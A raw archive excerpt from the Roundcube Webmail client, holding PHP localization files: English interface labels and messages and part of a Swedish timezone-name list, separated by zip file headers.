$labels['withattachment'] = 'With attachment';
$labels['deleted'] = 'Deleted';
$labels['undeleted'] = 'Not deleted';
$labels['invert'] = 'Invert';
$labels['filter'] = 'Filter';
$labels['list'] = 'List';
$labels['threads'] = 'Threads';
$labels['expand-all'] = 'Expand All';
$labels['expand-unread'] = 'Expand Unread';
$labels['collapse-all'] = 'Collapse All';
$labels['threaded'] = 'Threaded';
$labels['autoexpand_threads'] = 'Expand message threads';
$labels['do_expand'] = 'all threads';
$labels['expand_only_unread'] = 'only with unread messages';
$labels['fromto'] = 'From/To';
$labels['flag'] = 'Flag';
$labels['attachment'] = 'Attachment';
$labels['nonesort'] = 'None';
$labels['sentdate'] = 'Sent date';
$labels['arrival'] = 'Arrival date';
$labels['asc'] = 'ascending';
$labels['desc'] = 'descending';
$labels['listcolumns'] = 'List columns';
$labels['listsorting'] = 'Sorting column';
$labels['listorder'] = 'Sorting order';
$labels['listmode'] = 'List view mode';
$labels['layoutlist'] = 'List';
$labels['folderactions'] = 'Folder actions...';
$labels['compact'] = 'Compact';
$labels['empty'] = 'Empty';
$labels['importmessages'] = 'Import messages';
$labels['quota'] = 'Disk usage';
$labels['unknown'] = 'unknown';
$labels['unlimited'] = 'unlimited';
$labels['quicksearch'] = 'Quick search';
$labels['resetsearch'] = 'Reset search';
$labels['searchmod'] = 'Search modifiers';
$labels['msgtext'] = 'Entire message';
$labels['body'] = 'Body';
$labels['type'] = 'Type';
$labels['namex'] = 'Name';
$labels['searchscope'] = 'Scope';
$labels['currentfolder'] = 'Current folder';
$labels['subfolders'] = 'This and subfolders';
$labels['allfolders'] = 'All folders';
$labels['openinextwin'] = 'Open in new window';
$labels['emlsave'] = 'Download (.eml)';
$labels['changeformattext'] = 'Display in plain text format';
$labels['changeformathtml'] = 'Display in HTML format';
$labels['editasnew'] = 'Edit as new';
$labels['send'] = 'Send';
$labels['sendmessage'] = 'Send message';
$labels['savemessage'] = 'Save as draft';
$labels['addattachment'] = 'Attach a file';
$labels['charset'] = 'Charset';
$labels['editortype'] = 'Editor type';
$labels['returnreceipt'] = 'Return receipt';
$labels['dsn'] = 'Delivery status notification';
$labels['mailreplyintro'] = 'On $date, $sender wrote:';
$labels['originalmessage'] = 'Original Message';
$labels['insert'] = 'Insert';
$labels['recipient'] = 'Recipient';
$labels['editidents'] = 'Edit identities';
$labels['spellcheck'] = 'Spell';
$labels['checkspelling'] = 'Check spelling';
$labels['resumeediting'] = 'Resume editing';
$labels['revertto'] = 'Revert to';
$labels['restore'] = 'Restore';
$labels['restoremessage'] = 'Restore message?';
$labels['responses'] = 'Responses';
$labels['insertresponse'] = 'Insert a response';
$labels['manageresponses'] = 'Manage responses';
$labels['editresponse'] = 'Edit response';
$labels['editresponses'] = 'Edit responses';
$labels['responsename'] = 'Name';
$labels['responsetext'] = 'Response Text';
$labels['attach'] = 'Attach';
$labels['attachments'] = 'Attachments';
$labels['upload'] = 'Upload';
$labels['close'] = 'Close';
$labels['messageoptions'] = 'Message options...';
$labels['low'] = 'Low';
$labels['lowest'] = 'Lowest';
$labels['normal'] = 'Normal';
$labels['high'] = 'High';
$labels['highest'] = 'Highest';
$labels['nosubject'] = '(no subject)';
$labels['showimages'] = 'Display images';
$labels['alwaysshow'] = 'Always show images from $sender';
$labels['isdraft'] = 'This is a draft message.';
$labels['andnmore'] = '$nr more...';
$labels['togglemoreheaders'] = 'Show more message headers';
$labels['togglefullheaders'] = 'Toggle raw message headers';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Plain text';
$labels['savesentmessagein'] = 'Save sent message in';
$labels['dontsave'] = 'don\'t save';
$labels['maxuploadsize'] = 'Maximum allowed file size is $size';
$labels['addcc'] = 'Add Cc';
$labels['addbcc'] = 'Add Bcc';
$labels['addreplyto'] = 'Add Reply-To';
$labels['addfollowupto'] = 'Add Followup-To';
$labels['mdnrequest'] = 'The sender of this message has asked to be notified when you read this message. Do you wish to notify the sender?';
$labels['receiptread'] = 'Return Receipt (read)';
$labels['yourmessage'] = 'This is a Return Receipt for your message';
$labels['receiptnote'] = 'Note: This receipt only acknowledges that the message was displayed on the recipient\'s computer. There is no guarantee that the recipient has read or understood the message contents.';
$labels['name'] = 'Display Name';
$labels['firstname'] = 'First Name';
$labels['surname'] = 'Last Name';
$labels['middlename'] = 'Middle Name';
$labels['nameprefix'] = 'Prefix';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Nickname';
$labels['jobtitle'] = 'Job Title';
$labels['department'] = 'Department';
$labels['gender'] = 'Gender';
$labels['maidenname'] = 'Maiden Name';
$labels['email'] = 'Email';
$labels['phone'] = 'Phone';
$labels['address'] = 'Address';
$labels['street'] = 'Street';
$labels['locality'] = 'City';
$labels['zipcode'] = 'Postal Code';
$labels['region'] = 'Province';
$labels['country'] = 'Country';
$labels['birthday'] = 'Birthday';
$labels['anniversary'] = 'Anniversary';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notes';
$labels['male'] = 'male';
$labels['female'] = 'female';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Assistant';
$labels['spouse'] = 'Spouse';
$labels['allfields'] = 'All fields';
$labels['search'] = 'Search';
$labels['advsearch'] = 'Advanced Search';
$labels['advanced'] = 'Advanced';
$labels['other'] = 'Other';
$labels['typehome'] = 'Home';
$labels['typework'] = 'Work';
$labels['typeother'] = 'Other';
$labels['typemobile'] = 'Mobile';
$labels['typemain'] = 'Main';
$labels['typehomefax'] = 'Home Fax';
$labels['typeworkfax'] = 'Work Fax';
$labels['typecar'] = 'Car';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistant';
$labels['typehomepage'] = 'Home Page';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profile';
$labels['addfield'] = 'Add field...';
$labels['editcontact'] = 'Edit contact';
$labels['contacts'] = 'Contacts';
$labels['contactproperties'] = 'Contact properties';
$labels['personalinfo'] = 'Personal information';
$labels['edit'] = 'Edit';
$labels['cancel'] = 'Cancel';
$labels['save'] = 'Save';
$labels['delete'] = 'Delete';
$labels['rename'] = 'Rename';
$labels['addphoto'] = 'Add';
$labels['replacephoto'] = 'Replace';
$labels['uploadphoto'] = 'Upload photo';
$labels['deletecontact'] = 'Delete selected contacts';
$labels['composeto'] = 'Compose mail to';
$labels['contactsfromto'] = 'Contacts $from to $to of $count';
$labels['print'] = 'Print';
$labels['export'] = 'Export';
$labels['exportall'] = 'Export all';
$labels['exportsel'] = 'Export selected';
$labels['exportvcards'] = 'Export contacts in vCard format';
$labels['grouprename'] = 'Rename group';
$labels['groupdelete'] = 'Delete group';
$labels['groupremoveselected'] = 'Remove selected contacts from group';
$labels['previouspage'] = 'Show previous page';
$labels['firstpage'] = 'Show first page';
$labels['nextpage'] = 'Show next page';
$labels['lastpage'] = 'Show last page';
$labels['group'] = 'Group';
$labels['groups'] = 'Groups';
$labels['listgroup'] = 'List group members';
$labels['personaladrbook'] = 'Personal Addresses';
$labels['searchsave'] = 'Save search';
$labels['searchdelete'] = 'Delete search';
$labels['import'] = 'Import';
$labels['importcontacts'] = 'Import contacts';
$labels['importtarget'] = 'Add contacts to';
$labels['importreplace'] = 'Replace the entire address book';
$labels['importgroups'] = 'Import group assignments';
$labels['importgroupsall'] = 'All (create groups if necessary)';
$labels['importgroupsexisting'] = 'Only for existing groups';
$labels['done'] = 'Done';
$labels['settingsfor'] = 'Settings for';
$labels['about'] = 'About';
$labels['preferences'] = 'Preferences';
$labels['userpreferences'] = 'User preferences';
$labels['editpreferences'] = 'Edit user preferences';
$labels['identities'] = 'Identities';
$labels['preferhtml'] = 'Display HTML';
$labels['defaultcharset'] = 'Default Character Set';
$labels['htmlmessage'] = 'HTML Message';
$labels['messagepart'] = 'Part';
$labels['digitalsig'] = 'Digital Signature';
$labels['dateformat'] = 'Date format';
$labels['timeformat'] = 'Time format';
$labels['prettydate'] = 'Pretty dates';
$labels['setdefault'] = 'Set default';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Language';
$labels['timezone'] = 'Time zone';
$labels['pagesize'] = 'Rows per page';
$labels['signature'] = 'Signature';
$labels['dstactive'] = 'Daylight saving time';
$labels['showinextwin'] = 'Open message in a new window';
$labels['composeextwin'] = 'Compose in a new window';
$labels['htmleditor'] = 'Compose HTML messages';
$labels['htmlonreply'] = 'on reply to HTML message';
$labels['htmlonreplyandforward'] = 'on forward or reply to HTML message';
$labels['htmlsignature'] = 'HTML signature';
$labels['showemail'] = 'Show email address with display name';
$labels['previewpane'] = 'Show preview pane';
$labels['skin'] = 'Interface skin';
$labels['logoutclear'] = 'Clear Trash on logout';
$labels['logoutcompact'] = 'Compact Inbox on logout';
$labels['uisettings'] = 'User Interface';
$labels['serversettings'] = 'Server Settings';
$labels['mailboxview'] = 'Mailbox View';
$labels['mdnrequests'] = 'On request for return receipt';
$labels['askuser'] = 'ask me';
$labels['autosend'] = 'send receipt';
$labels['autosendknown'] = 'send receipt to my contacts, otherwise ask me';
$labels['autosendknownignore'] = 'send receipt to my contacts, otherwise ignore';
$labels['readwhendeleted'] = 'Mark the message as read on delete';
$labels['flagfordeletion'] = 'Flag the message for deletion instead of delete';
$labels['skipdeleted'] = 'Do not show deleted messages';
$labels['deletealways'] = 'If moving messages to Trash fails, delete them';
$labels['deletejunk'] = 'Directly delete messages in Junk';
$labels['showremoteimages'] = 'Display remote inline images';
$labels['fromknownsenders'] = 'from known senders';
$labels['always'] = 'always';
$labels['showinlineimages'] = 'Display attached images below the message';
$labels['autosavedraft'] = 'Automatically save draft';
$labels['everynminutes'] = 'every $n minute(s)';
$labels['refreshinterval'] = 'Refresh (check for new messages, etc.)';
$labels['never'] = 'never';
$labels['immediately'] = 'immediately';
$labels['messagesdisplaying'] = 'Displaying Messages';
$labels['messagescomposition'] = 'Composing Messages';
$labels['mimeparamfolding'] = 'Attachment names';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['force7bit'] = 'Use MIME encoding for 8-bit characters';
$labels['advancedoptions'] = 'Advanced options';
$labels['focusonnewmessage'] = 'Focus browser window on new message';
$labels['checkallfolders'] = 'Check all folders for new messages';
$labels['defaultfont'] = 'Default font of HTML message';
$labels['mainoptions'] = 'Main Options';
$labels['browseroptions'] = 'Browser Options';
$labels['section'] = 'Section';
$labels['maintenance'] = 'Maintenance';
$labels['newmessage'] = 'New Message';
$labels['signatureoptions'] = 'Signature Options';
$labels['whenreplying'] = 'When replying';
$labels['replyempty'] = 'do not quote the original message';
$labels['replytopposting'] = 'start new message above the quote';
$labels['replybottomposting'] = 'start new message below the quote';
$labels['replyremovesignature'] = 'When replying remove original signature from message';
$labels['autoaddsignature'] = 'Automatically add signature';
$labels['newmessageonly'] = 'new message only';
$labels['replyandforwardonly'] = 'replies and forwards only';
$labels['insertsignature'] = 'Insert signature';
$labels['afternseconds'] = 'after $n seconds';
$labels['reqmdn'] = 'Always request a return receipt';
$labels['reqdsn'] = 'Always request a delivery status notification';
$labels['replysamefolder'] = 'Place replies in the folder of the message being replied to';
$labels['defaultabook'] = 'Default address book';
$labels['autocompletesingle'] = 'Skip alternative email addresses in autocompletion';
$labels['listnamedisplay'] = 'List contacts as';
$labels['spellcheckbeforesend'] = 'Check spelling before sending a message';
$labels['spellcheckoptions'] = 'Spellcheck Options';
$labels['spellcheckignoresyms'] = 'Ignore words with symbols';
$labels['spellcheckignorenums'] = 'Ignore words with numbers';
$labels['spellcheckignorecaps'] = 'Ignore words with all letters capitalized';
$labels['addtodict'] = 'Add to dictionary';
$labels['mailtoprotohandler'] = 'Register protocol handler for mailto: links';
$labels['standardwindows'] = 'Handle popups as standard windows';
$labels['forwardmode'] = 'Messages forwarding';
$labels['inline'] = 'inline';
$labels['asattachment'] = 'as attachment';
$labels['replyallmode'] = 'Default action of [Reply all] button';
$labels['replyalldefault'] = 'reply to all';
$labels['replyalllist'] = 'reply to mailing list only (if found)';
$labels['allmessages'] = 'all messages';
$labels['folder'] = 'Folder';
$labels['folders'] = 'Folders';
$labels['foldername'] = 'Folder name';
$labels['subscribed'] = 'Subscribed';
$labels['messagecount'] = 'Messages';
$labels['create'] = 'Create';
$labels['createfolder'] = 'Create new folder';
$labels['managefolders'] = 'Manage folders';
$labels['specialfolders'] = 'Special Folders';
$labels['properties'] = 'Properties';
$labels['folderproperties'] = 'Folder properties';
$labels['parentfolder'] = 'Parent folder';
$labels['location'] = 'Location';
$labels['info'] = 'Information';
$labels['getfoldersize'] = 'Click to get folder size';
$labels['changesubscription'] = 'Click to change subscription';
$labels['foldertype'] = 'Folder Type';
$labels['personalfolder'] = 'Private Folder';
$labels['otherfolder'] = 'Other User\'s Folder';
$labels['sharedfolder'] = 'Public Folder';
$labels['sortby'] = 'Sort by';
$labels['sortasc'] = 'Sort ascending';
$labels['sortdesc'] = 'Sort descending';
$labels['undo'] = 'Undo';
$labels['installedplugins'] = 'Installed plugins';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Version';
$labels['source'] = 'Source';
$labels['license'] = 'License';
$labels['support'] = 'Get support';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'English';
$labels['westerneuropean'] = 'Western European';
$labels['easterneuropean'] = 'Eastern European';
$labels['southeasterneuropean'] = 'South-Eastern European';
$labels['baltic'] = 'Baltic';
$labels['cyrillic'] = 'Cyrillic';
$labels['arabic'] = 'Arabic';
$labels['greek'] = 'Greek';
$labels['hebrew'] = 'Hebrew';
$labels['turkish'] = 'Turkish';
$labels['nordic'] = 'Nordic';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Celtic';
$labels['vietnamese'] = 'Vietnamese';
$labels['japanese'] = 'Japanese';
$labels['korean'] = 'Korean';
$labels['chinese'] = 'Chinese';
PK
h�\PXyr�+�+'program/localization/en_CA/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'An error occurred!';
$messages['loginfailed']  = 'Login failed.';
$messages['cookiesdisabled'] = 'Your browser does not accept cookies.';
$messages['sessionerror'] = 'Your session is invalid or expired.';
$messages['storageerror'] = 'Connection to storage server failed.';
$messages['servererror'] = 'Server Error!';
$messages['servererrormsg'] = 'Server Error: $msg';
$messages['connerror'] = 'Connection Error (Failed to reach the server)!';
$messages['dberror'] = 'Database Error!';
$messages['requesttimedout'] = 'Request timed out';
$messages['errorreadonly'] = 'Unable to perform operation. Folder is read-only.';
$messages['errornoperm'] = 'Unable to perform operation. Permission denied.';
$messages['erroroverquota'] = 'Unable to perform operation. No free disk space.';
$messages['erroroverquotadelete'] = 'No free disk space. Use SHIFT+DEL to delete a message.';
$messages['invalidrequest'] = 'Invalid request! No data was saved.';
$messages['invalidhost'] = 'Invalid server name.';
$messages['nomessagesfound'] = 'No messages found in this mailbox.';
$messages['mailboxempty'] = 'Mailbox is empty';
$messages['nomessages'] = 'No messages';
$messages['refreshing'] = 'Refreshing...';
$messages['loading'] = 'Loading...';
$messages['uploading'] = 'Uploading file...';
$messages['uploadingmany'] = 'Uploading files...';
$messages['loadingdata'] = 'Loading data...';
$messages['checkingmail'] = 'Checking for new messages...';
$messages['sendingmessage'] = 'Sending message...';
$messages['messagesent'] = 'Message sent successfully.';
$messages['savingmessage'] = 'Saving message...';
$messages['messagesaved'] = 'Message saved to Drafts.';
$messages['successfullysaved'] = 'Successfully saved.';
$messages['savingresponse'] = 'Saving response text...';
$messages['deleteresponseconfirm'] = 'Do you really want to delete this response text?';
$messages['addedsuccessfully'] = 'Contact added successfully to address book.';
$messages['contactnameexists'] = 'A contact with the same name already exists.';
$messages['blockedimages'] = 'To protect your privacy, remote images are blocked in this message.';
$messages['encryptedmessage'] = 'This is an encrypted message and can not be displayed. Sorry!';
$messages['nocontactsfound'] = 'No contacts found.';
$messages['contactnotfound'] = 'The requested contact was not found.';
$messages['sendingfailed'] = 'Failed to send message.';
$messages['senttooquickly'] = 'Please wait $sec sec(s). before sending this message.';
$messages['errorsavingsent'] = 'An error occurred while saving sent message.';
$messages['errorsaving'] = 'An error occurred while saving.';
$messages['errormoving'] = 'Could not move the message(s).';
$messages['errorcopying'] = 'Could not copy the message(s).';
$messages['errordeleting'] = 'Could not delete the message(s).';
$messages['errormarking'] = 'Could not mark the message(s).';
$messages['deletecontactconfirm']  = 'Do you really want to delete selected contact(s)?';
$messages['deletegroupconfirm']  = 'Do you really want to delete selected group?';
$messages['deletemessagesconfirm'] = 'Do you really want to delete selected message(s)?';
$messages['deletefolderconfirm']  = 'Do you really want to delete this folder?';
$messages['purgefolderconfirm']  = 'Do you really want to delete all messages in this folder?';
$messages['contactdeleting'] = 'Deleting contact(s)...';
$messages['groupdeleting'] = 'Deleting group...';
$messages['folderdeleting'] = 'Deleting folder...';
$messages['foldermoving'] = 'Moving folder...';
$messages['foldersubscribing'] = 'Subscribing folder...';
$messages['folderunsubscribing'] = 'Unsubscribing folder...';
$messages['formincomplete'] = 'The form was not completely filled out.';
$messages['noemailwarning'] = 'Please enter a valid email address.';
$messages['nonamewarning']  = 'Please enter a name.';
$messages['nopagesizewarning'] = 'Please enter a page size.';
$messages['norecipientwarning'] = 'Please enter at least one recipient.';
$messages['nosubjectwarning']  = 'The "Subject" field is empty. Would you like to enter one now?';
$messages['nobodywarning'] = 'Send this message without text?';
$messages['restoresavedcomposedata'] = 'A previously composed but unsent message was found.\n\nSubject: $subject\nSaved: $date\n\nDo you want to restore this message?';
$messages['nosearchname'] = 'Please enter a contact name or email address.';
$messages['notuploadedwarning'] = 'Not all attachments have been uploaded yet. Please wait or cancel the upload.';
$messages['searchsuccessful'] = '$nr messages found.';
$messages['contactsearchsuccessful'] = '$nr contacts found.';
$messages['searchnomatch'] = 'Search returned no matches.';
$messages['searching'] = 'Searching...';
$messages['checking'] = 'Checking...';
$messages['stillsearching'] = 'Still searching...';
$messages['nospellerrors'] = 'No spelling errors found.';
$messages['folderdeleted'] = 'Folder successfully deleted.';
$messages['foldersubscribed'] = 'Folder successfully subscribed.';
$messages['folderunsubscribed'] = 'Folder successfully unsubscribed.';
$messages['deletedsuccessfully'] = 'Successfully deleted.';
$messages['converting'] = 'Removing formatting...';
$messages['messageopenerror'] = 'Could not load message from server.';
$messages['fileuploaderror'] = 'File upload failed.';
$messages['filesizeerror'] = 'The uploaded file exceeds the maximum size of $size.';
$messages['copysuccess'] = 'Successfully copied $nr contacts.';
$messages['movesuccess'] = 'Successfully moved $nr contacts.';
$messages['copyerror'] = 'Could not copy any contacts.';
$messages['moveerror'] = 'Could not move any contacts.';
$messages['sourceisreadonly'] = 'This address source is read only.';
$messages['errorsavingcontact'] = 'Could not save the contact address.';
$messages['movingmessage'] = 'Moving message(s)...';
$messages['copyingmessage'] = 'Copying message(s)...';
$messages['copyingcontact'] = 'Copying contact(s)...';
$messages['movingcontact'] = 'Moving contact(s)...';
$messages['deletingmessage'] = 'Deleting message(s)...';
$messages['markingmessage'] = 'Marking message(s)...';
$messages['addingmember'] = 'Adding contact(s) to the group...';
$messages['removingmember'] = 'Removing contact(s) from the group...';
$messages['receiptsent'] = 'Successfully sent a read receipt.';
$messages['errorsendingreceipt'] = 'Could not send the receipt.';
$messages['deleteidentityconfirm'] = 'Do you really want to delete this identity?';
$messages['nodeletelastidentity'] = 'You cannot delete this identity, it\'s your last one.';
$messages['forbiddencharacter'] = 'Folder name contains a forbidden character.';
$messages['selectimportfile'] = 'Please select a file to upload.';
$messages['addresswriterror'] = 'The selected address book is not writeable.';
$messages['contactaddedtogroup'] = 'Successfully added the contacts to this group.';
$messages['contactremovedfromgroup'] = 'Successfully removed contacts from this group.';
$messages['nogroupassignmentschanged'] = 'No group assignments changed.';
$messages['importwait'] = 'Importing, please wait...';
$messages['importformaterror'] = 'Import failed! The uploaded file is not a valid import data file.';
$messages['importconfirm'] = '<b>Successfully imported $inserted contacts</b>';
$messages['importconfirmskipped'] = '<b>Skipped $skipped existing entries</b>';
$messages['importmessagesuccess'] = 'Successfully imported $nr messages';
$messages['importmessageerror'] = 'Import failed! The uploaded file is not a valid message or mailbox file';
$messages['opnotpermitted'] = 'Operation not permitted!';
$messages['httpreceivedencrypterror'] = 'A fatal configuration error occurred. Contact your administrator immediately. <b>Your message can not be sent.</b>';
$messages['smtpconnerror'] = 'SMTP Error ($code): Connection to server failed.';
$messages['smtpautherror'] = 'SMTP Error ($code): Authentication failed.';
$messages['smtpfromerror'] = 'SMTP Error ($code): Failed to set sender "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP Error ($code): Failed to add recipient "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP Error: Unable to parse recipients list.';
$messages['smtperror'] = 'SMTP Error: $msg';
$messages['toomanyrecipients'] = 'Too many recipients. Reduce the number of recipients to $max.';
$messages['maxgroupmembersreached'] = 'The number of group members exceeds the maximum of $max.';
$messages['internalerror'] = 'An internal error occurred. Please try again.';
$messages['contactdelerror'] = 'Could not delete contact(s).';
$messages['contactdeleted'] = 'Contact(s) deleted successfully.';
$messages['contactrestoreerror'] = 'Could not restore deleted contact(s).';
$messages['contactrestored'] = 'Contact(s) restored successfully.';
$messages['groupdeleted'] = 'Group deleted successfully.';
$messages['grouprenamed'] = 'Group renamed successfully.';
$messages['groupcreated'] = 'Group created successfully.';
$messages['savedsearchdeleted'] = 'Saved search deleted successfully.';
$messages['savedsearchdeleteerror'] = 'Could not delete saved search.';
$messages['savedsearchcreated'] = 'Saved search created successfully.';
$messages['savedsearchcreateerror'] = 'Could not create saved search.';
$messages['messagedeleted'] = 'Message(s) deleted successfully.';
$messages['messagemoved'] = 'Message(s) moved successfully.';
$messages['messagecopied'] = 'Message(s) copied successfully.';
$messages['messagemarked'] = 'Message(s) marked successfully.';
$messages['autocompletechars'] = 'Enter at least $min characters for autocompletion.';
$messages['autocompletemore'] = 'More matching entries found. Please type more characters.';
$messages['namecannotbeempty'] = 'Name cannot be empty.';
$messages['nametoolong'] = 'Name is too long.';
$messages['folderupdated'] = 'Folder updated successfully.';
$messages['foldercreated'] = 'Folder created successfully.';
$messages['invalidimageformat'] = 'Not a valid image format.';
$messages['mispellingsfound'] = 'Spelling errors detected in the message.';
$messages['parentnotwritable'] = 'Unable to create/move folder into selected parent folder. No access rights.';
$messages['messagetoobig'] = 'The message part is too big to process it.';
$messages['noscriptwarning'] = 'Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser\'s settings.';
PK
h�\%�tϓN�N(program/localization/sv_SE/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Alger';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gabon';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
